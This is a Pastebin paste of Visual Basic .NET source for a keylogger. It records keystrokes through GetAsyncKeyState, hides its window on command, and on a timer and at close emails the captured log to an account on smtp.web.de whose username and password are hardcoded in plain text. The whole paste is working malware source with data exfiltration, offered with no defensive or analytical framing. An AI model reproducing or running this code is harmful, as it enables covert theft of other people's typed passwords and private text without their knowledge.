Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Option Strict On
- Imports System.Net.Mail
- Public Class Form1
- Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
- Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TimerKeys.Tick
- Dim result As Integer
- Dim key As String
- Dim i As Integer
- For i = 2 To 90
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- key = Chr(i)
- If i = 13 Then key = vbNewLine
- Exit For
- End If
- Next i
- If key = Nothing Then
- Exit Sub
- End If
- If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
- tbLog.Text &= key
- Else
- tbLog.Text &= key.ToLower
- End If
- If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then
- Me.Show()
- End If
- End Sub
- Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
- Me.Hide()
- End Sub
- Private Sub timerSave_Tick() Handles TimerSave.Tick
- Dim Msg As New MailMessage
- Dim myCredentials As New System.Net.NetworkCredential
- myCredentials.UserName = "KeyLogger20.11@web.de"
- myCredentials.Password = "fullspeed"
- Msg.IsBodyHtml = False
- Dim mySmtpsvr As New SmtpClient()
- mySmtpsvr.Host = "smtp.web.de" 'bei web.de
- mySmtpsvr.Port = 25
- mySmtpsvr.UseDefaultCredentials = False
- mySmtpsvr.Credentials = myCredentials
- Try
- Msg.From = New MailAddress("KeyLogger20.11@web.de")
- Msg.To.Add("KeyLogger20.11@web.de")
- Msg.Subject = "Betreff"
- Msg.Body = tbLog.Text
- mySmtpsvr.Send(Msg)
- MsgBox("E-Mail gesendet.", MsgBoxStyle.Information, Title:="Information")
- Catch ex As Exception
- MsgBox(Err.Number & ex.Message & ex.StackTrace.ToString) 'Falls ein Fehler auftritt wird eine MsgBox angezeigt
- End Try
- End Sub
- Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
- tbLog.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
- timerSave_Tick()
- End Sub
- Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
- tbLog.Text = "Started at: " & Now & vbNewLine
- End Sub
- End Class
Add Comment
Please, Sign In to add comment